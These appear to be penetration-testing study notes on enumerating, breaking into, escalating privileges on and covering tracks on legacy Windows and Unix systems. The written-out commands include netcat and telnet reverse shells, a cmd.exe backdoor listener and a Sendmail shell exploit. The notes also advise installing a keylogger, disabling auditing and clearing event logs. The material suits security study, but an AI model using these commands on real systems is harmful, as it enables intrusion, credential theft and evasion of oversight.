Win – Snmputil – browses MIB(Management Information Base) tree using default strings like public, private. The tree is hierarchical, so each time you “walk up” more information is revealed. “.1.3.6.1.4.1.77.1.2.25” is the OID for Microsoft’s MIB.(NTRK)
C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25
Win – IP Browser – Solarwinds GUI, http://www.solarwinds.net
More CIFS/SMB Enumeration
Win – Dumpsec(DumpACL) – uses null session to get user, group, share, and policy info
Win – sid2user/user2sid – allows for easy conversion of SID’s to usernames and vice versa
http://www.chem.mus.su:8080/~rudnyi/NT/sid.txt
C:\>user2sid \\ “domain users” (grabs the machines SID)
C:\>sid2user \\ 5 21 8915387 1645822062 18198280005 500 (grabs admin account’s user name, note 500 is always the admin RID, even if its renamed. Also, the first account created is always given an RID of 1000 and incremented by one from there)
Mark Russinovich http://www.win2000mag.com/Articles/Index.cfm?ArticleID=3143
Win – Enum – CLI utility for enumeration & password guessing http://razor.bindview.com
C:\>enum –U –d –P –L –c
Win – Nete from sirdystic of CDC, similar to enum
Win – UserInfo/UserDump user Level 3 call on NetUserGetInfo API http://www.HammerofGod.com/download.htm
LDAP Enumeration
Win – ldp.exe – Active Directory Administration Tool – connects to AD server and allows you to browse contents, runs on either port 389 or 3268(AD Global Catolog)
Banner Enumeration
Banner grabbing via telnet or netcat on various ports like 80, 21, 23, 25 will often leak system, OS, application, user, or version information. Also common to “nudge” the system into coughing up more information using commands like: GET / HTTP/1.0, HEAD, QUIT, HELP, ECHO, and sometimes just carriage returns.
Registry Enumeration
Regdmp(NTRK) or DumpSec(Somarsoft) can be both be used to do this, however by default Win2K Server usually doesn’t allow this. Review the Key HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths
To see whats allowed
UNIX
NFS Enumeration
Unix – showmount – lists all NFS(port 2049) exported file systems on a machine
$showmount –e
NIS Enumeraton
Unix – in general various NIS client tools can be used to guess the NIS domain name of a server and retrieve NIS maps, which contain valuable information(pscan by Pluvius)
User & Group Enumeration
Unix – finger(port 79), rwho, rusers all list out who is on the machine at the time. To disable these services simply edit the inetd.conf file and killall –HUP inetd
Unix – SMTP – VRFY will confirm name of valid user; EXPN will give out the actual mail address of aliases and mailing lists. Just telnet to port 25 to test.
Unix – tftp – if enabled, may allow you to get the /etc/password file.
RPC Enumeration
Unix – rpcinfo, rpcdump – both list the RPC bindings for all applications running on the box. RPC uses ports 111, 32771. http://www.atstake.com/research/tools/info_gathering/
SNMP Enumeration
Unix – the net-snmp package will usually include both snmpget and snmpwalk
$ snmpget public system.sysName.0 (grabs host name)
$ snmpwalk public (grabs eniter MIB)
BGP Route Enumeration
Unix – ASN Queries – ASN(Autonomous System Numer) is a 16-bit integer purchased from ARIN to identify a company on the internet. Use http://www.completewhois.com/ to search for this info.
C:\> telnet route-views.Oregon-ix.net (public router)
Ø show ip bgp (last number in AS Path is ASN)
Ø show ip bgp regexp _$ (will give you the public IP space of company)
Windows NT Hacking – gaining access, escalating privileges and covering tracks on Windows NT system
Password Guessing
Default Passwords http://packetstormsecurity.org/docs/hack/dad.txt
http://phenoelit.darklab.org/cgi-bin/display.pl?SUBF=list&SORT=1
http://www.cirt.net/cgi-bin/passwd.pl
Null Passwords Tools NTInfoScan http://packetstormsecurity.org/NT/audit/index2.html
SMBGrind http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SMBGrind&type=archives
Password Sniffing SMB Packet Capture(readsmb) included with l0phtcrack
PPTP – Unix based sniffer that captures VPN credentials(packetstorm)
Cain & Abel filters out login credentials http://www.oxid.it/
Pass The Hash NT Only, LSASS allows hash only authentication
http://www.core-sdi.com/papers/nt-cred.htm
Buffer Overflows unexpected input, which forces arbitrary code into the execution stack
http://www.cultdeadcow.com/cDc_files/cDc-351/page1.html by DilDog
http://pulhas.org/phrack/55/P55-15.html by Barnaby Jack
http://www.insecure.org/stf/smashstack.txt by Aleph One
Privilege Escalation
Hoovering process of stealing as much info off the machine as possible with a non-admin account. Srvinfo(NTRK) will enumerate shares and regdmp(NTRK) can probe the registry for info. Also good to script a find command in a batch file to look for the password string. GetAdmin uses DLL injection to add a user into the local admin group(crash4)
http://www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=9231
Sechole, Secholed escalates privileges of IUSR_machine_name account on IIS, must be able to upload to a executable directory on server http://www.winnetmag.com/Article/ArticleID/9269/9269.html
LPC Spoofing
hk(porttool) from Razor exploits the LPC Ports API, which has weak validation checks. Allows user to make a client thread as the SYSTEM user. http://www.bindview.com/Support/RAZOR/Utilities/Windows/LPCAdvisory.cfm
Password Cracking the SAM file may be obtained by booting to an alternate OS, from the repair directory, or extracting from the registry via tool.
Pwdump extracts password hashes from the SAM http://packetstormsecurity.org/Crackers/NT/pwdump3.zip
L0phtcrack defacto standard for cracking windows passwords, not free anymore LC5 http://www.atstake.com/products/lc/index.html
Cain & Abel - Poor man’s version of LC, free http://www.oxid.it/cain.html
Wordlists - http://coast.cs.purdue.edu/pub/dict/ http://www.cotse.com/tools/wordlists.htm
Exploiting Trusts
LSA Secrets - The key HKLM\SECURITY\Policy\Secrets holds service accounts in plain text, cached passwords of last 10 users, FTP and web plain test passwords, RAS usernames and passwords, and domain account information. Lsadump2 finds PID of LSASS and uses dll injection http://www.bindview.com/Support/RAZOR/Utilities/Windows/lsadump2_readme.cfm
Sniffers
WinDump, “w32 tcpdump” http://windump.polito.it/install/default.htm Ethereal http://www.ethereal.com/download.html
Dsniff for Win32 http://www.datanerds.net/~mike/dsniff.html
Keystroke Loggers - If sniffing fails, install a keystroke logger to obtain domain credentials http://www.download.com/3120-20-0.html?qt=Keystroke+logger&tg=dl-2001
Remote Control & Backdoors - Remote.exe From NTRK, gives remote users a CMD shell. Most popular way to start it on the host is the us the AT command(scheduler service).
SC.exe - Service Controler will start the scheduler service if its not running C:\> sc \\ start schedule
C:\> net time \\ (to check time on remote system)
C:\> at \\ 10:40P “”remote /s cmd secret”” (launchesserver) C:\> remote /c secret (launches your client)
Netcat -TCP-IP Swiss-Army Knife http://packetstormsecurity.org/UNIX/utilities/nc110.tgz
C:\> nc –L –d –e cmd.exe –p80 (starts listener on target host)
C:\> nc 80 (connects attacker to target host)
Netbus - similar to Back Orifice, the nbsvr.exe must be started on target first. Good idea to run in stealth mode by modifying the registry, however most Virus scans will detect it running. Default ports are 12345 and 20034
C:\> regini –m \\ regchange.txt (NTRK) http://packetstormsecurity.org/trojans/NB20Pro.exe
BO2K - Back Orifice, still under active development, works on 2K and XP http://www.bo2k.com/software/index.html
Along with these VNC, Netmeeting, and dameware are poplular gui-based remote control apps
Port Redirection
Netcat - “Shell Shoveling” target listens on one port while sending the output back via cmd shell to the attacker. The attacker must listen on 2 ports
$ nc 80 | cmd.exe | nc 25 (run on target)
Fpipe - Popular port redirector, also allows for specifying source port. Does have some session timeout issues though with TIME_WAIT and CLOSE_WAIT periods C:\>fpipe –v –l 53 –r 23 (command to run on target) http://www.foundstone.com/resources/proddesc/fpipe.htm
Root Kits - first Windows rootkit was from Greg Hoglund of rootkit.com. A root kit is a software suite that substitutes command system binaries with Trojans. Rootkits use a technique known as “function hooking” to redirect calls without altering the executable or binary. The current generation of Kernel level rootkits are very difficult to detect as they are embedded in the OS. http://www.antiserver.it/Backdoor-Rootkit/
Cover Tracks
Disable Auditing
C:\> auditpol /disable (NTRK)
Clear Event Log
C:\> elsave –s \\ -l “Security” -C http://www.ibt.ku.dk/jesper/NTtools/
Hiding Files
C:\> attib +h [directory] (dos command)
NTFS File Streaming will hide stuff as additional file attributes. It requires the POSIX utility cp(NTRK)
C:\> cp : (just reverse to unhide)
Windows 2000 Hacking – gaining access, escalating privileges and covering tracks on Windows 2K system
Footprinting
Resource Kit Tools http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp
http://www.dynawell.com/support/ResKit/win2k.asp
IPSec Filters - built in feature which does packet filtering very early in the network stack and will drop any packets which fail to meet the rules. Only flaw is that it cannot block IKE, multicast, or broadcast traffic and can’t do port ranges. http://www.microsoft.com/technet/itsolutions/network/security/ipsecld.mspx
Enumeration
NetBIOS/SMB - System information will still be leaked unless you do 1 of 2 things. Disabling File and Print Sharing on your outbound interface will prevent nullsessions. Set RestrictAnonymous = 2 in either the registry or in the Security Policy Manager.
Eavesdropping - All authentication sent using legacy LM hashes can be easily decrypted via L0phtcrack. Also, Kerberos authentication is not used if the user specifies an IP address instead of a hostname.
SMBRelay - When trying to connect to a share/server, Windows will automatically try to log in as the current user if no other authentication information is explicitly supplied, before asking the user for a logon/password. SMBRelay will conduct a MITM attack by fooling a user into connecting to your rogue server, meanwhile after capturing the traffic it is relayed to the actual destination and back to the end user. http://www.xfocus.net/articles/200305/smbrelay.html
Denial of Service
New Registry Keys
HKLM\Sys\CCS\Services\Tcpip\Parameters\SynAttackProtect = 2 (times out syn_received faster)
EnableDeadGWDetect = 0 (prevents attacker from changing default gw) EnablePMTUDiscovery = 0 (stops hackers from lowering MTU value)
KeepAliveTime = 300,000 (verify’s an idle connection is still intact)
Interfaces\NoNameReleaseOnDemand = 0 (stops malware)
Interfaces\PerformRouterDiscovery = 0 (stop router spoofing attack)
http://support.microsoft.com/default.aspx?scid=kb;en-us;142641
Nbname - This tools puts a host in Netbios Name Conflict effectively stopping all Netbios networking on the host. Must first disable NBT on attacker machine to use tool.
C:\>nbname /astat /confilict http://www.securityfocus.com/tools/1670
Privilege Escalation
PipeUpAdmin - Pre SP2, puts current user into admin group when run from cmd prompt http://content.443.ch/pub/security/blackhat/WinNT%20and%202K/pipeup/W2KPipeUp/
NetDDE - Network Dynamic Data Exchange service allows applications to share date through “trusted shares”. Runs as SYSTEM, so arbitrary code can be attached to the request and viola your admin. Requires Visual C++.
C:\>netddemsg –s cmd.exe http://www.atstake.com/research/advisories/2001/netddemsg.cpp
Pilfering
Defeating SYSKEY - pwdump3 can extract hashes from the SAM. Also pwdump3e from ebiz can do this remotely via SMB. http://www.securityfocus.com/tools/1964/chntpw Can be used on bootable media to insert hashes into the SAM. It disables SYSKEY prior to doing this. Similar to NTFSDOS Pro. http://home.eunet.no/~pnordahl/ntpasswd/syskey.txt
Deleting SAM simply booting to an alternate OS and deleting the SAM nullifies the administrator password. DC are not vulnerable. http://www.securiteam.com/windowsntfocus/5FP0B0U1FW.html
EFS - Encrypting File System allows users to encrypt files and folders at the OS level. Cipher can be used from the CMD line. Default Recovery Key is the local admin account, however it should be stored remotely. http://www.microsoft.com/windows2000/techinfo/howitworks/security/encrypt.asp
EFS Temporary - EFS writes a temp file in plain text before encrypting a new file, however a low level disk editor like diskprobe.exe(RK) can recover the file even after its deleted because the disk blocks are not overwritten.
Exploiting Trust
LSA Secrets - lsadump2 still functions on W2K. Microsoft doesn’t consider it a problem
Multimaster Model - Within a Windows 2K forest, all domains replicate a shared Active Directory and trust each other with 2-way transitive trusts necessitated by the Kerberos implementation. Trusts between forests and NT domains are still one-way. This allows for consolidation of domains and delegation of permissions via OU’s (organizational units).
Back Doors
Trap-Dooring Path - When executables and DLL files are not preceded by a path in the registry, windows searches for them in a default order. Therefore by placing your trojaned file on the system drive, the system will launch it instead of the original file. http://www.winnetmag.com/WindowsSecurity/Article/ArticleID/9637/WindowsSecurity_9637.html
Remote Control
Terminal Services running on 3389, TS allows brute force password guessing even if a lockout policy is set. TS also allows existing connections to be hijacked if the previous user forgot to logout correctly, assuming you have their credentials.
New Stuff
Group Policy - GPO is a new 2K feature, that allows you to configure security parameters in one place to be enforced locally or on the domain. (Gpedit.msc)
Secedit - Security Configuration and Analysis tool allows admins to audit the local system security for compliance issues. It also allows you to automatically make updates and have them applied immediately.
XP Stuff
ICF - Internet Connection Firewall offers packet filtering on all inbound traffic, while permitting all outbound traffic.
Software Restriction Policy allows central control over application security to protect against various forms of malware.
Built-In Support for encrypted Wireless Networking(802.11).
MS Passport single-login solution for internet, works by using a tamper-resistant cookie for accessing all sites that support MS passport authentication.
Credential Management, WPA, Remote Desktop, UPNP
UNIX/Linux Hacking – gaining access, escalating privileges and covering tracks on *NIX system
Vulnerability Mapping is the process of mapping specific security attributes of a system to an associated vulnerability or potential vulnerability.
Nessus is a defacto standard because its free and works. http://www.nessus.org/download.html (unix & windows ports)
Remote Attacks - Exploit a Listening Service (telnet, ftp, ssh, etc)
Route Through a Unix System – circumvent a Unix firewall by source routing your packets through the firewall. Works only if system has IP forwarding enabling.
User-Initiated Remote Execution – attacks requiring user interaction, such as browsing malicious web sites or opening email attachments.
Promiscuous Mode Attacks – crafted packets can exploit your sniffer application
Brute Force - Brutus Common tool http://www.hoobie.net/brutus/brutus-download.html
John - Standard Unix Cracker http://www.openwall.com/john/
Data Driven Attacks are executed by sending data to an active service that causes unintended or undesirable results.Buffer Overflow condition occurs when a user or process attempts to place more data into a buffer than was originally allocated. This type of behavior is associated with specific C functions like strcpy, strcat, sprintf etc. A buffer overflow condition would normally cause a segmentation violation to occur. When the attack is executed, special assembly code known as the egg is sent to the VRFY command as part of the actual string used to overflow the buffer. When it’s overrun, attackers can set the return address of the offending function, to point to their arbitrary code’s memory address, which usually includes a shell command. http://www.piaffe.org/panic/
Unix Memory Dump Analysis, Good Luck http://www.phrack.org/
Aleph One’s Paper Phrack 49 http://www.securityfocus.com/tools/1500
Hell Kit for writing buffer overflows
Disable stack execution in /etc/system:Set noexec_user_stack=1Set noexec_user_stack_log =1
Heap Overflows are based on overrunning memory that has been dynamically allocated by an application. This process differs from stack-based overflows, which depend on overflowing a fixed-length buffer. http://www.w00w00.org/files/heaptut/heaptut.txt
Format String Vulnerability arises in subtle programming errors in the formatted output family of functions, which includes printf() and sprintf(). An attacker can take advantage of this by passing carefully crafted test strings containing formatting directives, which can cause the target computer to execute arbitrary commands. For example by using printf(buf) instead of printf(“%I”, buf) the system will read the first argument supplied by the user as the format string and allow arbitrary code to follow it.
Input Validation Attacks occur when a program fails to recognize syntactically incorrect input, a module accepts extraneous input, a module fails to handle missing input fields, or a field-value correlation error occurs. Often used to exploit CGI scripts or other web applications. Shell AccessX Term if enabled is the easiest way to get local gui access on a machine remotely, but may need to be combined with an exploit though. $ /usr/X11R6/bin/xterm –ut :0.0
Reverse Telnet/Netcat will both provide attackers with a back channel into the system that originates from the target host. Both require a listener to be running.
$ /bin/telnet 80 | /bin/sh | /bin/telnet 25
$ nc –e /bin/sh 80
TFTP/Anonymous FTP both will allow attacker to gain access to your machine and if a writeable/executable directory is available the system is toast. The services themselves may be vulnerable to exploits.Sendmail the standard Unix Mail Transfer Agent has been full of vulnerabilities dating back to 1988. Common attacks aside from buffer overflows, input validation, and SMTP enumeration include:Pipe Vulnerability which allows a user to escape to a shell after the data portion
Helo
Mail from:
Rcpt to: bounceData.
mail from:
binrcpt to: |sed ‘1,/^$/d’ | shdata Forward VulnerabilityCat > .forward (create forward file to ftp to users home directory)|”cp /bin/sh /home/gk/evil_shell ; chmod 755 /home/gk/evil_shell” (creates shell executable)
$ echo hello chump | mail gk@targetsystem.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it Refer to http://www.sendmail.org/ for up to date information
RPC is a mechanism that allows a program running on one computer to seamlessly execute code on a remote system. Most buffer overflow attacks target RPC services that run as root in order to gain shell access to the target sytem. Common services exploited include rpc.ttdbserverdb(tooltalk), rpc.cmsd(CDE), rpc.statd(automount), mountd, sadmind, and snmpXdmid.
NFS allows transparent access to files and directories of remote systems as if they were stored locally. Most of the security provided by NFS relates to a data object known as a file handle. The file handle is a token that is used to uniquely identify each file and directory on the remote server. If a file handle can be sniffed of guessed, remote attackers could easily access those files on the remote system.
$ showmount –e (lists exported file systems & permissions)
$ mount :/ /mnt
Try NFSshell for more functionality ftp://ftp.cs.vu.nl/pub/leendert
X Windows System allows exporting of the local graphical display to remote users.Xscan will scan an entire subnet looking for systems with xhosts + enabled and log any console keystrokes to a local logfile. http://www.seguridad0.net/programas/X-Scan-v3.0.zip
$ xlswins –display :0.0 (will list out hex id’s for you)
$ xwatchwin -w (allows you to observe somebody else’s x session)
DNS Insecurity refer to http://www.isc.org/index.pl?/sw/bind/bind-security.php
SSH Insecurity refer to http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SSH+exploits&type=archives
Promisious Mode Attacks are common in Ethereal, tcpdump, and several other sniffersSymbolic Link can be exploited using any program, especially SUID ones, that creates a temp file and doesn’t perform any sanity checking. By linking that tmp file to the /etc/password or shadow file, the program will update it with its permissions and not root’s.
$ strings * | grep tmp (when run in /bin or /usr/bin, will list out good programs to target)
File Descriptors are nonnegative integers that the system uses to keep track of files rather than using specific filenames (0,1,2, std in, out, error). If a file descriptor is opened r/w by a privileged process, it may be possible for the attacker to write to the file while it is being modified. To shell out of vi, execute :!sh and then modify the tmp file or run exploit code.
